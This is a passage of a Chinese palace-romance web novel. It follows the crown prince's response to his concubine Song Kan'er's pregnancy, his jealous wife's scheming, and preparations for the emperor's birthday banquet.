海顺本来都激动得恨不得原地起飞了,眼看就要一个滑跪扑到太子跟前大喊几声“贺喜殿下”的话。
结果自家爷这么一交代。
海总管的脸憋得通红,好险一口气没上来。
瑛姑姑和寒酥、跳珠自然也激动,可太子都这么说了,她们也只好使劲把嘴角往下压,再往下压!
事情吩咐下去,都各忙各的。
骆峋悄声来到卧房。
槛儿这几日体温偏高,又不能用太多冰,这些天都是身边的人轮流打扇。
望晴见太子来了。
忙停下打扇,往床尾的位置挪了挪。
恍惚间感觉到风没了,槛儿蹙了蹙眉,把搭在腰间的薄毯往旁边掀。
却是刚动作就被按住了手。
同时风重新吹了起来。
伴随而来的还有一股熟悉,能让她安神的淡香,槛儿迷迷瞪瞪地睁眼。
男人俊美清冷的脸庞映入眼帘,风源自于他手中的那把金漆雕花折扇。
骆峋一手缓缓打着扇,一手拨开槛儿脸颊上的一缕发丝,静默地看着她。
确实清减了,原先面颊丰盈,白里透红,像一颗一戳即破皮流汁的蜜桃。
此时少了血色,比起蜜桃,便更像是一株被风雨摧残后的白玉兰。
两者的共同点是,都很美。
骆峋不在意很多事。
却也不得不承认当初答应由她来替郑氏承宠,有对她的样貌满意的因素在。
皇家人纳妾,自要将容貌条件包括在列,如此才能诞下外形可观的子嗣。
而给她昭训位份。
则的确有和郑氏较劲的成分在。
她胆小却聪慧,亦拎得清。
不叫人生厌。
所以即便知道她有时的言行是做戏,骆峋也权当不知,愿意配合。
如今看着她日渐褪去青涩的眉眼,想到她的腹中孕育了他们的孩子。
骆峋心里再次升起了一股难言之感,说不清,能确定的是他不讨厌。
只不过他对孩子无感。
做不到像别人那般,听说家中妻妾有了身孕便喜不自胜,以即将当爹为荣。
但他能保证。
他会做一个称职的父亲。
做一个,爱护孩子母亲的丈夫。
“殿下这么看着妾身做什么?”见男人目不转睛地盯着自己,槛儿忍不住问。
骆峋屈指碰碰她的脸。
又摸摸她的眉梢,声音低低冷冷的。
“你与孤,有孩子了。”
望晴在太子上了榻时就被瑛姑姑支了出去,现下屋中只有槛儿和太子。
拔步床两侧的落地灯发出两声微不可闻的“噼啪”声,灯罩内烛光微微晃动。
转瞬间又趋于平静。
床围两侧挂起的纱帐倒因为太子手中折扇的扇动,一直轻轻摇晃着。
槛儿抿抿唇,想克制住唇角的弧度。
可惜她越想矜持,嘴角就翘得越高。
没错。
端午那晚,太子正式许诺同意她自己养孩子时槛儿便把该哭的都哭过了。
此时听到这个好消息。
她心里除了高兴,还是高兴!
骆峋看着她乌黑明亮带笑的眼和不受控制翘起的唇角,嘴角也跟着翘了翘。
他生得俊,平时冷着脸显得气势逼人,一旦笑起来便若旭日初升,轩然霞举。
好在,槛儿对太子的俊已经极为熟悉,不至于在这时候被他一个笑迷花了眼。
两人就这么对视着,笑着。
笑着笑着,槛儿猛地想起。
“之前不是诊过两回都说是伤暑吗?怎么……不对,妾身才来过月事啊。”
上辈子她怀曜哥儿和两个小的时,都是以月事是否延迟为判断依据。
也没什么太大的反应,前期稍微吐了几天。
后面就能吃能睡了。
郑氏刚开始在她怀曜哥儿时还为此讥了她几句,大致意思就是她不愧是当奴才的,身子糙贱,经折腾。
骆峋只当她为月事疑惑,于是便将莫院判的话一字不漏地转述给她听。
槛儿明白了。
总归就是这辈子情况有变,女子妊娠初期也可能因为胎元不稳来月事。
槛儿摸到自己平平软软的小腹,不确定道:“胎元不稳,那孩子现在……”
骆峋隔着她的手在她小腹上摸了摸,道:“莫院判没有提出来,说明胎儿无碍,现下要做的便是治好你的伤暑。”
槛儿轻
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吁一口气。
随即又听太子说:“暂无需到嘉荣堂报喜,你好生养身子,接下来两个月的请安便免了,太子妃那边孤会告知。”
事情他都安排好了。
槛儿就没多此一举地问这样做会不会不合规矩,横竖不用她去跟郑氏说。
这辈子的头一胎,槛儿在高兴之余还是装不懂地问了太子好些问题。
譬如她在有孕期间饮食上有哪些禁忌,平时起居劳逸上应注意什么。
又譬如她是不是从现在开始可以给小宝宝做衣裳鞋袜什么的。
有关孕期注意事项,莫院判不久前列了单子,骆峋扫了一遍便都记下了。
见她难得有了精神,他也就耐着性子一一作答,至于给小孩做衣裳鞋袜。
骆峋道:“无需你动手,东宫绣房与广储司会张罗,你若实在想做,等身子好了可偶尔缝上几针,以不伤眼为首要。”
他说得轻描淡写。
但每一条都答得很细致。
槛儿听得出来,他对这个孩子是看中的。
不过也是。
前世这时候的太子对任何人都冷淡,唯独对待曜哥儿,他总会格外耐心。
大抵因为是第一个孩子吧。
自打有了曜哥儿,他每日都会去嘉荣堂,晚上大多时候也都会在那边留宿,甚至偶尔白日晌午都会过去用膳。
为此,后宅形成了郑氏一家独大的局面。
不过在那之前,她在嘉荣堂偏殿养胎的那大半年和她坐月子的那两个月里,太子一次也没在嘉荣堂留宿。
直到她搬离。
槛儿想。
那时他大概是真不喜她吧。
有她在,他便不在嘉荣堂过夜,估计是为了防她半夜爬床或是勾引他。
幸好。
自己那时没奢求过他的宠爱。
也幸好他待孩子是好的。
若不然上辈子她真是宁死也懒得伺候,更别说这辈子还跟他亲亲热**做那事。
见槛儿听着听着便盯着他走起了神,骆峋捏捏她的手指,问:“想什么?”
槛儿收起思绪,随口扯了个谎:“妾在想,妾身接下来晚上不能伺候殿下了……”
话音未落。
槛儿意识到这话有那么一点儿越矩,在有心人听来或许会觉得她在幽怨什么。
怀着皇嗣呢。
多少人求都求不来,她还敢幽怨?
不想太子误会,槛儿说完那句话**住他的手指,撒娇般放软了声音。
“妾身不能侍寝,殿下还会来看妾身吗?”
第75章 “殿下是要宠妾灭妻吗?!”
骆峋并没有误会。
后宫的女子有了身孕不能侍寝,这是规矩,她们会为此担心失宠也乃常情。
骆峋还不至于因为小昭训一句合情合理的话,便误会她有旁的意思。
谨慎成这样。
难道他在她眼里,是如此易暴易怒之人?
“安心养好身子,孤有时间自会来看你,”回握了她一下,骆峋语气淡然道。
槛儿装作很开心的模样。
抱住他的脖颈,在他的唇上亲了一口。
“殿下真好。”
至于她有孕期间,太子会不会去曹良媛和秦昭训她们那边,槛儿并不在意。
亦或者说,在意也没用。
所以干脆不去想。
不想,就能少很多烦恼。
只有件事,槛儿现在想来挺疑惑的。
那便是上辈子怀曜哥儿时,她在郑氏身边偶尔会听到跑腿的小太监来报说太子去了沁芳居,或是香叶轩。
后来她成了奉仪,太子偶尔也会去其他地方。
但奇怪的是,在曜哥儿遭遇不测之前,东宫一直没有别的好消息传出来。
后来,其他孩子才相继出生。
“殿下,宋昭训贴敷的药好了。”
海顺在屏风外压低声音道。
骆峋坐起身,顺势把槛儿捞起来。
槛儿不再琢磨。
左右这辈子她只要护好自己的孩子便好,别的孩子什么时候出生,无所谓。
莫院判医术确实高明。
药在几个穴位上贴敷了半个来时辰,槛儿就感觉脑袋没之前那么昏沉了。
还吃下了小半碗竹茹米粥。
夜里也终于完整地睡了一宿的觉,次日醒来槛儿只觉神清气爽。
太子每逢休沐会到坤和宫陪裴皇后用早膳,比当差可以晚起两刻钟。
槛儿睁眼时太子也刚刚坐起身,她揉揉眼,习惯性要下榻伺候他更衣。
骆峋见她的气色比昨晚改善了不少,放了心,却还是阻了她的动作。
槛儿这回就不装贤淑了。
懒在床上看他收拾。
等他收拾好,她才下榻送他到厅堂门口。
两人前脚跨出门槛。
后脚假山池那边就绕出了两道人影。
“我还寻思这么早过来会不会扰了宋昭训的清净,没想到你倒是起得早。”
是郑明芷带着霜云来了。
人没走近,温和的声音先传了过来。
槛儿正替太子整理腰间的配饰,闻声当即松手后退,对郑明芷行礼。
骆峋看着她一连串行云流水的动作,看着她面对郑氏低眉顺眼的模样。
薄唇抿了抿。
郑明芷仪态端庄地过来虚扶槛儿一把,和善的观音面上带着一丝怜爱。
“你这回病得重,殿下放心不下,我夜里也惦记,还好今儿看着精神了。”
槛儿感激地笑。
“让殿下,太子妃费心实属不该,也是妾身不中用,一个伤暑弄得这么大费周章,累得殿下与太子妃操心。”
郑明芷:“人食五谷,伤病少不了,又不是你想生的这病,莫院判开的药起作用就行,待你好了……”
话没说完,一旁的太子忽然出声。
“好生歇着,孤稍后回。”
话是看着槛儿说的,说完便往院外行去,从始至终没多看郑明芷一眼。
郑明芷难以置信。
回?
太子这是把小蹄子屋里当什么了?
搞清楚嘉荣堂才是他的家!
他该“回”的家!
就算不打算跟她做真夫妻,也犯不着当着一个贱妾的面这么下她脸子吧!
吃了一嘴的苍蝇。
郑明芷懒得再跟槛儿虚与委蛇,撂下一句“好生休养”跟着走了。
槛儿没错过郑氏微妙的神情变化,也知道她刚刚的关注点在哪处,可能又在心里骂她**之类的话。
她暗笑。
骂就骂吧,又少不了二两肉。
反正她要把孩子养在自己身边,她和郑氏之间的纠葛就避免不了。
她也不会避。
出了西六院,郑明芷追上太子。
“殿下,您稍后要过来?”
骆峋不语。
郑明芷维持着得体的笑。
“莫院判医术高明,想来宋昭训不日便能痊愈,后院有妾身照看,殿下难得休沐,还是好好歇一天吧。”
太子要宠幸谁,要陪谁。
她不拈酸吃味儿。
宋槛儿那蹄子得宠与否,郑明芷也有数了,左右贱婢日后生的孩子是她的。
但太子以往没在白日来过后院,更没在白天陪过哪个妾,这事若传出去。
旁人如何看待那贱婢和太子,郑明芷不管。
但她是东宫主母。
她绝不允许旁人说她管家不严,纵容侍妾勾得太子白日在后院流连忘返!
骆峋双手负后。
走出一段距离,他倏地停下。
眼神很淡地看着郑明芷。
“你在教孤做事?”
霜云的额角冷汗直冒。
自家主子真的不长记性,明明上回就因为瞎教太子行事,两**吵了一架。
庞嬷嬷都被打了。
结果才刚两个月。
再说太子如今虽宠宋槛儿那小蹄子,却是还没做过什么昏庸荒唐之事。
休沐期间陪陪妾室什么的,也不过小事一桩,陛下偶尔都会在空闲的时候去后宫和妃嫔待上一天半天呢。
自家主子究竟什么时候才能意识到是她们有错在
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先,不能乱摆谱啊!
“有些话,孤不想说第二遍。”
骆峋声音冷淡。
“近日她身子不好,接下来两个月的请安免了,这不是同你商议,是告知。”
郑明芷不敢相信。
区区伤暑。
他居然就要免了两个月的请安!
一个贱婢,哪里就这么金贵了!
“殿下是要宠妾灭妻吗!”
郑明芷气得几欲发抖,再也维持不住面上的端庄,脱口而出地质问道。
晨光微熹,青石板甬道两侧亭亭如盖的槐树丛中有鸟雀发出几声清鸣。
宫人跪了一地。
海顺低眉敛目地立在太子身后,心里直摇头。
骆峋驻足回首。
“孤灭你了?”
没有。
自他们成婚以来,外人看到的太子与太子妃一直都是相敬如宾的小两口。
即便这两个月太子不在嘉荣堂留宿,每十日一次的休沐日,太子都会抽空过来陪太子妃用午膳或晚膳。
去给裴皇后请安,二人亦是同来同往。
且后宅的管家权一直在太子妃手中,曹良媛等妾室没有谁敢对太子妃不敬,东宫的宫人更是从来敬重太子妃。
相较而言。
宋昭训除了太子的宠,什么也没有。
可妾室,不就是拿来宠的吗?
妾室用宠的,正妻用敬的。
宠爱跟实际到手的权势地位比起来,孰轻孰重,可能只有傻子才会不清楚。
郑明芷的神情僵住,还是霜云在她耳边轻唤了一声,她才回过神来。
随即她看着太子的背影。
看着看着,忽然笑了。
是。
她不该自取其辱。
在被他发现她在成婚那晚企图欺上瞒下,被他发现丫鬟们伺候她做那事时。
她在他面前就完全丧失了作为正妻的资格。
可那又怎么样呢?
她不还是坐在这个位置上吗?
说什么不是不能废了她,而是不想废了她,归根结底还不是不能废了她?
他若能随心所欲地废了她这个太子妃,就压根儿不存在想与不想的问题!
说白了。
他就是想让她占着东宫主母这个位置。
因为她犯了错,好拿捏!
所以他就算再怎么厌恶她,不屑她,也要宁愿让她继续占着这个位置。
占着就对了。
郑明芷冷笑,心里打定了主意。
她要用她娘给的那东西。
就用在太子身上。
她倒要看看。
金尊玉贵,高高在上的太子爷到了榻上,是能继续维持着他一国储君的威严。
还是也像条狗一样,对她摇尾乞怜。
跪着求她给他!
第76章 太子不在乎宋昭训为奴为婢(?)
坤和宫。
知道儿子儿媳要来陪自己用早膳,裴皇后早早打发了来请安的妃嫔们。
骆峋与郑明芷来了请过安。
便随裴皇后一道进了膳厅。
儿子话少,和他聊天都是一板一眼的,裴皇后也没在席间和他多说什么。
只问衙署里最近忙不忙,说他瘦了,提醒他注意身子这样的老三篇。
郑明芷笑着在旁边附和两句,之后同裴皇后有一句没一句地谈起家常。
中规中矩地用完膳,三人移步厅堂。
郑明芷看眼太子。
道:“再有十天就是父皇的寿辰了,是时万邦来朝,举国欢庆,想想就热闹。”
裴皇后点头,顺着她聊了两句。
“母后,儿媳有个提议。”
郑明芷聊着聊着,忽然道。
“万寿节那日您这边要招待的女眷多,儿媳就想要不把宋昭训叫上。”
说着,她难为情地垂了垂眼。
“去年儿媳与曹良媛,以及几位王妃招待那些年轻姑娘和夫人们委实忙得够呛,儿媳想多一个人总归能分担些,便厚着脸皮请母后成全。”
万寿节有资格出席宴会的本朝女眷和端午宫宴的规矩差不多,各府王妃、侧妃,宗亲和五品及以上的命妇。
区别在于万寿节乃正统国宴,象征大靖皇权,规矩礼节更为严格。
女眷这边会有许多番邦妇。
东宫能出席宴会的女眷和几个亲王府的正侧妃,当日要做的便是随裴皇后一起看顾着这些女眷们。
去年的万寿节是郑明芷和曹良媛来搭把手,金承徽和秦昭训是没来的。
槛儿能破例参加端午宴,那是因为端午本身是民俗性质的节日。
破例也就破例了。
万寿节这种规制的国宴,槛儿一个七品的昭训说什么也没有资格出席。
倒是有一种情况。
便是充作东宫的奴婢或是裴皇后身边的奴婢,那样倒也能帮着招待宾客。
只不过性质就不一样了。
郑明芷看似是在给槛儿制造露脸的机会,实则却是在变着法子糟践人。
可谁能说她不对吗?
不管性质如何,总归是个露脸的机会不是?这种机会多少人求都求不来。
外人知道了,只会赞太子妃宽容大度。
裴皇后:“我听说宋昭训这些日子伤了暑,万寿节之前她能好得了?”
东宫后院里哪个侍妾哪天侍了寝这类事无巨细的消息,从来没人敢往外传。
但内务府的人偶尔会往东宫跑,所以东宫后院哪个主子较为得宠这种事。
外头的人也略有所闻。
槛儿的伤暑症有个三四日了,一些零碎的消息多多少少就还是传了出来。
裴皇后也有叫人打探过。
郑明芷笑得温柔。
“昨夜太子请了莫院判替宋昭训诊治了,莫院判的医术您是知道的。”
裴皇后挑了挑眉:
“好了估计也得再养上几日,不过东宫的事向来是你们自己做主,太子若是准许,带上她也无妨。”
“殿下,您看呢?”
郑明芷就看向太子,一派的恭顺贤淑。
骆峋不为所动。
也没有被郑明芷的小心思激怒,因为他本就考虑让小昭训出席万寿节。
按理她有了身子,这个时候该小心谨慎才对,能不凑热闹就不凑热闹。
免得出纰漏。
但骆峋有其他打算。
“嗯。”
他微微颔首。
“多出来走动走动,也好。”
郑明芷愣住了。
没想到他这么轻易就同意了。
太子难道不知道以那小蹄子的位份,万寿节当日只配做她的奴婢吗?
他舍得?
但很快郑明芷就明白了。
男人惯是如此。
妾室对他们来说就是个纾解的玩意儿,心情好时逗小猫小狗似的哄哄,实则根本不在乎对方为奴为婢。
郑明芷心中冷嗤,面上笑得真诚:“好,回去了我便叫人去传话。”
裴皇后没有插话。
只在夫妻俩要告退时对郑明芷道:“你先回吧,我有事跟太子说。”
“是。”
待人走了,管事冯嬷嬷领着宫人们退到外面,屋中只剩了母子二人。
“真是替宋昭训请的莫院判,还是你自己请的莫院判?你那病最近……”
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裴皇后不废话,上来直奔正题。
骆峋:“母后放心,儿子的身子很好,昨日莫院判确是为小……宋昭训诊治。”
裴皇后:“……”
儿子私下里也叫宋昭训为小昭训?
嘴角抽了抽。
见他不似扯谎,裴皇后放了心。
儿子的病是在他八岁时落了根儿,也是她当年大意,给了姓魏的可乘之机。
让儿子小小年纪就目睹了那起子腌臜事,以至于身子长成了却碰不得男女之事,唯有靠药物才能行事。
可惜当年没有证据,没能彻底揪出那姓魏的,叫她侥幸活到了现在!
“母后,儿子有事相告。”
裴皇后沉浸在旧事中,冷不丁听儿子这么说,以为他要说和政务相关的事。
她立时敛起心思。
“你说。”
骆峋:“她有孕了。”
没头没脑的一句。
裴皇后愣了一下。
反应过来后“腾”地一下子站起来,本就有神的两眼迸发出惊人的光!
骆峋被自家母后的反应逗笑,随后将昨晚的事言简意赅地说了一遍。
裴皇后原地转圈。
儿子还年轻,她确实不着急抱孙。
可东宫一直没有子嗣也委实说不过去,关键是不着急归不着急,不代表她不想抱啊!
她都五十多了。
此时不抱孙,更待何时!
“我当初一看她就知是个身子骨好的,算算时间该是四月底怀上的?”
“不对,等等。”
裴皇后突然想起一件事。
“既有了身子,还不到三个月,你怎么就答应万寿节让她随太子妃参宴呢?这不是胡闹吗这不是!”
骆峋:“不随郑氏,此事也暂不声张。”
他惜字如金,得亏裴皇后脑子灵光,第一时间听出了他话里的意思。
“让我把人带在身边替你看着?”
骆峋起身朝裴皇后行了一礼,“劳烦母后,在母后身边,儿子放心。”
他不会娇惯她。
但能让她高兴的事,在不触碰他底线的前提下,骆峋愿意纵她几分。
“另外,儿子打算……”
第77章 太子爷:“油嘴滑舌。”
送走了太子。
冯嬷嬷进屋见主子笑得比花儿还灿烂,不禁调侃:“娘娘这是遇上什么好事儿了?若不奴婢也听听?”
冯嬷嬷是裴皇后的陪嫁丫鬟。
几岁就在裴皇后跟前伺候了,主仆二人四十多年的情分不是旁人能比的。
太子那病目前除了他本人,也只有裴皇后,莫院判以及冯嬷嬷清楚了。
屋里只有她二人,裴皇后也没瞒着,笑眯眯同冯嬷嬷耳语了一阵。
冯嬷嬷听完捂着嘴,比裴皇后还激动。
不过,宋昭训的胎还没坐稳,至少也得等其他太医也能号出脉来,才好往外说。
主仆俩就一起偷乐了会儿。
等心情终于平复下来,裴皇后笑叹道:“到底是年纪到了,知道疼屋里人了。”
“娘娘说这话奴婢可得替殿下叫屈。”
冯嬷嬷笑弯了眼。
“旁人不知道,咱们还不清楚吗?咱们殿下啊打小就知道疼人,只是这么多年没遇上他想疼的人罢了。”
裴皇后想了想,觉得也是。
她和元隆帝都挺随性的。
偏生了这么个小酸儒,和她这个当娘的也要动不动讲规矩,行大礼。
但儿子只是话少脸冷,对他们一直都孝顺,待手足亦是兄友弟恭,姊妹和睦。
想当初儿子虽与郑家女没有情分,但到底圣上已经赐了婚,儿子也是真有和郑氏好好过日子的打算。
大婚当日的流程,婚房的布置,嘉荣堂大小事务,儿子都有亲自过问。
甚至新娘子卧房里花瓶之类的小摆件,都是经他亲自过目后定下的。
儿子同她说过。
说他有病在身,今后若形势允许,他便只守着郑氏一人过一辈子。
至于曹良媛几个。
他日后想给她们补偿,放她们归家。
当时裴皇后就觉得儿子终归还是太年轻,把后宅的事想得太过简单。
结果怎么着?
让她给猜中了。
小两口新婚期间就闹了矛盾。
到现在都还没好。
也不知问题究竟出在哪,今儿个又打起架了。
裴皇后摇摇头懒得去想儿子儿媳的糟心事,兀自琢磨起槛儿腹中的孩子来。
“也不知是儿是女,那小昭训样貌出众,就是随便长应该也不会差到哪去。”
“哪有您这么当祖母的,孩子能随便长吗?”
“哈哈哈哈……”
.
槛儿还不知道自己要在万寿节露脸呢。
接连呕了几日,今天她终于不是听人提到“药”和“膳”两个字就想吐了,反倒有了想吃东西的感觉。
早膳照莫院判的单子来的。
主食是御香盐渍梅子醒脾粥,就是拿盐渍过的青梅捣成泥,加上粳米煮粥,再放上少量茯苓粉和陈皮末调味。
摆上膳桌时,粥温凉温凉的。
喝起来刚刚好。
另有一道八珍鸽卵汤,配了白术、黄芩这类健脾安胎、清热解暑的药材。
鸽卵用以补亏损,有固胎元而不助热之效。
见她就着小菜吃了小碗粥,汤也喝得七七八八,瑛姑姑等人都跟着松了口气。
霜云就是这时候过来的。
上来便直言是太子妃的意思,叫宋昭训十日后万寿节随太子妃赴宴。
其间不忘强调这事是太子妃向娘娘提的,重在彰显他们主子的仁厚贤良。
宋昭训但凡有良心。
就该对他们太子妃感恩戴德!
当然,这话自是没有明说。
只是霜云话里话外,无不是这个意思。
说完了事,她也没管槛儿的反应,心不甘情不愿地给见了一礼后走了。
万寿节,那可是国宴诶。
自家主子有机会参加国宴!
喜雨和小福子兴奋地抱作一团。
瑛姑姑、寒酥和跳珠刚开始也是一喜,可很快她们就想到槛儿现在的情况。
顿时又愁起来。
不明白太子是怎么想的,明知他们主子如今不方便,怎么也不拦着太子妃呢?
打发了望晴几个出去。
瑛姑姑把自己的顾虑对槛儿说了。
“离万寿节只有十天了,天儿眼见着越来越热,奴婢担心到时候您吃不消。”
她没敢提太子,但槛儿和她想到了一处,“不着急,回头我问问殿下。”
话音刚落,外面响起小福子他们问安的声音。
是太子回来
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了。
槛儿惊讶他真又过来了,她还以为先前他说那话,只是为了跟郑氏掐架呢。
“感觉如何?”
把人迎进来,两人隔着炕几坐着,骆峋不动声色地打量了对面人几眼。
槛儿很实诚地连早膳用了什么用了多少,都事无巨细同他说了一遍。
等太子落座,槛儿把霜云来传话的事也说了。
恰当地表露几分对郑明芷的感激,再象征性问一句:“妾身去合适吗?”
“嗯。”
骆峋喝了一口凉茶,情绪淡淡。
“届时你跟着娘娘。”
“跟着娘娘?”
“娘娘已知你有了身孕,是时她会有所安排,不至于叫你劳累。”
瑛姑姑刚刚还觉得太子不知疼人呢,没想到转个身的功夫这位爷就冷着张脸说出这么体贴人的话!
万寿节宴上跟着皇后娘娘。
这得是多大的恩典!
槛儿也高兴。
能在万寿节这等级别的宴上露面,既能稳固她在东宫后院的地位。
又能为今后的晋位铺路。
而裴皇后管着后宫,又要为元隆帝分忧解难,会愿意将一个小昭训带到身边。
只能是太子向娘娘提的,是太子请娘娘在万寿节当天把她带在身边。
想到这,槛儿忽然笑了。
骆峋交代海顺去元淳宫取东西,扭头便看到小昭训眉眼弯弯,神态专注温柔。
“笑什么?”他问。
槛儿起身坐到他身边。
自然地挽住他的胳膊,靠到他肩头。
“殿下这么为妾身着想,妾身受宠若惊,但妾身也真的高兴,谢谢殿下。”
他的改变这么大,出乎槛儿的意料,她也不介意把这些话说出来。
反正只是动动嘴皮子的事。
他不愿意动,她动。
太子爷就又觉得小昭训太不矜持了。
大白天的,还有宫人看着。
她挽什么胳膊。
靠什么肩?
也不怕被下面的人说她行为不端。
骆峋扫视一圈。
见海顺和瑛姑姑等人不知何时低下了头,他这才抬手在槛儿脸上惩治般捏了一下。
“油嘴滑舌。”
第78章 太子:“孤不会让你有事。”偶遇皇长孙
太子今儿一整天都在永煦院,且昨晚宋昭训都病了太子还在永煦院留宿,今儿看这架势怕是又要留宿。
哪怕知道现今这位宋昭训得宠,下面的一众人也还是忍不住暗暗唏嘘。
有些人的关注点就很邪乎。
他们想,男人整天在妾室屋里,总不会是和妾室从诗词歌赋聊到人生哲学吧?
可宋昭训都病了,太子还能叫人侍寝?
这些人就觉得宋昭训其实也挺不容易,病了还要伺候男人,看来后院的主子也不是那么好当的啊。
当然,这些念头都只敢在心里想想。
不过除了这些不着调的想法,东宫后宅里的所有下人都更加确定一件事。
宋昭训是真的一飞冲天了。
香叶轩里,金承徽刚得知槛儿病得严重的消息时,就跟突然打了鸡血似的。
着实过了几天舒坦日子。
谁知昨晚就有人报来消息。
说太子不但去探望宋昭训了,还请了太医院的院判来给宋昭训诊治!
这也就罢。
关键今天太子还待在那边!
金承徽就又气了。
在屋子里摔摔打打的,骂完奴才骂鸟,骂完了鸟骂院里的花花草草,路过的蚂蚁都要被她给骂两句再踩死。
东厢的秦昭训早习惯了金承徽的做派。
任对方在正房那边骂骂咧咧,她这头在屋里淡然地用完了晚膳。
至于曹良媛。
等抚琴和弄墨骂槛儿骂得差不多了,她慢条斯理道:“今儿日子不错,叫个人到香叶轩跑一趟吧。”
.
结束短暂的休沐,太子便又恢复了每日到工部衙署点卯上值的日子。
万寿节在即,各地藩王和外邦使团早在半个月前便陆陆续续抵达京城。
礼部忙着筹备典礼的各个流程,审核各地官员和外邦进献的寿礼贺表。
工部忙着四处修整宫殿和宴会当日要用到的各种礼器,还要在京城各个地方装灯饰,张贴红字什么的。
光禄寺要操办宴席,鸿胪寺要接待外宾等等,总之没有哪个官署闲的。
太子看完近两年的工程卷宗和账簿后,便开始和另两名司务一道办差。
起初两名司务和科房里的吏员们还碍于他太子的身份,不敢和他交谈,回个话都磕磕巴巴捋不直舌头。
但没过两天。
众人发现太子似乎只是面冷,并不会自恃身份,不把下面的低阶官吏们放在眼里,或是随意耍性子。
太子也没使唤过他们替他做与公务无关的事,明明冷得跟个冰雕似的,却会在说起公务时不吝言辞。
渐渐的。
众人发现太子的威严比他们想象的还要慑人,没有人能猜透他的心思。
可太子的的确确在干实事。
在誊录文书的过程中被他们忽视的某个微末细节,太子一眼就能看出来。
且能根据这些完全不起眼的细节,解决掉某个工程中可能存在的隐患。
因为太子严谨专注的当差态度,因为差办得好能得到太子的夸赞,司务厅的官吏们为此大受鼓舞。
日日卯足了劲儿做好差事。
就盼着能在太子跟前表现一番。
槛儿不清楚太子在衙署里的情况,经过最初的调养,她的体温恢复正常。
也不再头晕头痛,四肢无力。
主要食欲恢复了。
偶尔还是会犯恶心,但症状很轻。
稍微忍一忍就能压下去。
万寿节前一天晚上,太医院来了另一位陈太医来给槛儿诊了一次脉。
一番望闻问切,陈太医惊喜万分地起身朝太子与槛儿行了一礼。
“贺喜殿下,昭训脉象滑润如珠,虽未至充盈,但胎气已结,确为喜脉!”
当着太医的面,槛儿含羞看眼太子。
脸红红地笑着垂下头。
太子爷一派的沉稳内敛,叫太医暂不要声张此事,只当来替宋昭训复诊。
太医恭敬应下。
夜里。
槛儿背靠着男人的胸膛偎在他怀里,骆峋的大掌轻贴在她尚且平坦的小腹上。
“明日一早,坤和宫会来人单独接你过去,太子妃那边自有人前去报信。”
槛儿点头,“好,妾记住了。”
骆峋默了一瞬。
声音突然微沉:“明晚,不论遇上什么,勿慌。”
槛儿捏他手指的动作一停。
上辈子今年的万寿节没出什么乱子,难道这辈子的明天太子有什么计划?
骆峋只抚着她的腹部,嗓音清冷:“你只需记住,有孤在,孤不会让你有事。”
槛儿翻身抱住他。
翌日,万寿节当天。
太子不到寅时便收拾完去了乾元殿。
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今日凡有资格参宴的人都要按品阶着装,槛儿的四季礼服早在她受封昭训后的半个月广储司就送来了。
一切收拾妥当,瑛姑姑叫了银竹进来。
对槛儿道:“早上海总管临走时提了一嘴,叫主子今儿也把银竹带上。”
银竹自打来了永煦院,便一直和望晴、喜雨她们干的差不多的活儿。
她性情内向,办事稳妥。
平日里不显山漏水的。
端午槛儿带了银竹,这回也打算带着她,就是没想到海顺会特意提一嘴。
不过,有昨晚太子提点在前。
槛儿心里约莫有了数。
一刻钟后,槛儿领着跳珠、银竹出门。
刚出西六院。
迎面见早前给她送过药膏的元淳宫的宫女,领着一个面生的二等宫女笑盈盈地走过来,恭敬地行了礼。
“皇后娘娘请宋昭训到坤和宫说话,外面肩舆已备好,请昭训随奴婢前往,太子妃那边已有人前去通禀。”
槛儿笑着点点头。
到了东宫大门。
果然就见已经停着一架肩舆,只这回的肩舆和槛儿上回坐的有区别。
上次坐的抬杠上只一个简单花梨木座椅,这回则是一个油绢顶的小轿。
轿身以细竹篾编制,四周围着薄纱。
确定槛儿坐稳,坤和宫的宫女才叫人抬轿。
郑明芷原本打的就是要让槛儿再做一回奴才的主意,却不料她刚准备使人把槛儿叫来,坤和宫就来了人。
说是裴皇后那边缺人手。
他们先把人接走了。
当着坤和宫宫人的面,郑明芷和和气气地应了,之后扭头砸了手边的胭脂。
缺个狗屁的人手!
老虔婆摆明了就是故意的!
平时装得一副慈善宽厚好婆母的模样,实则背地里不知编排了她多少。
老妖婆!
郑明芷在这边气上了,那厢槛儿一行人经内左门进了前往坤和宫的东庑廊道。
郑明芷和槛儿她们这样的东宫侍妾,平时拜见裴皇后是不走坤和门的,而是走坤和宫东暖殿附近的永祥门。
一刻钟后。
槛儿下了肩舆,刚转身准备进门。
就见一俊若修竹,着青色圆领**袍的少年正从永祥门内朝这边走来。
却是皇长孙,即信王世子骆晔。
第79章 太子老牛吃嫩草!
槛儿的步子反射性停下,旋即微微退到一侧,垂首恭敬地行了一记福礼。
所谓尊卑有别。
别看槛儿顶的是太子昭训的头衔,实则出了东宫在这些皇子龙孙面前,她的身份和位份都是不够格的。
也因此,即便是名义上比她小一辈的皇长孙,槛儿见了也得行大礼。
“恭请世子金安。”
骆晔一早进宫来伴驾,两刻钟前奉皇祖父的命来向皇祖母传两句要紧话。
这会儿时辰还早。
但毕竟是后宫,他便想着尽快回乾元殿。
哪知还是碰上了女眷。
骆晔下意识目不斜视,打算不作理会。
然刚从那女眷面前经过。
他突然想起什么,脚下一顿。
余光瞥着那抹缥绿鹊衔花的裙摆,独属于少年人的声音清朗明净。
“哪个宫的?”
槛儿意外他停下来问。
不过,身份差距在前。
槛儿不想徒惹事端,便依规矩报了来路:“回世子,东宫太子昭训宋氏,奉太子之命前来伺候皇后娘娘。”
实情自然不能说,在外人看来她确实是奉太子的命来伺候皇后娘娘的。
骆晔没管槛儿来干什么。
听她道是太子昭训,骆晔便确定此女是他六皇叔两个多月前纳的那位新妾。
又听她声音柔媚灵秀,似幽静山谷中莺啼鸟啭,软玉娇香,勾得他耳根发麻。
骆晔的脑海中,不禁浮现出那一幕原本早被他忘得一干二净的画面。
宫道中被亭灯照亮的转角处,肩舆上的女子杏面桃腮,云髻峨峨……
骆晔的心跳莫名漏了一拍。
扭头看过去,目光落在眼前人精致的发髻上,威仪却又不失礼数地道:“既是东宫的人,便无需多礼,起吧。”
“多谢世子。”
槛儿微垂着眼,中规中矩地谢恩站直身,只等着这位信王世子赶紧走。
这里是后宫,她又是东宫女眷,就算她本身不会跟对方扯上任何关系。
若让人看了去,免不得也会被有心人夸大其词。
且上辈子她虽深居后院,却也大致知道信王没少在前朝给太子使绊子。
后来太子登基。
以结党营私惑乱民心为由褫夺信王封号,贬王为公,全家流放至辽东铁岭卫。
信王世子自然在列。
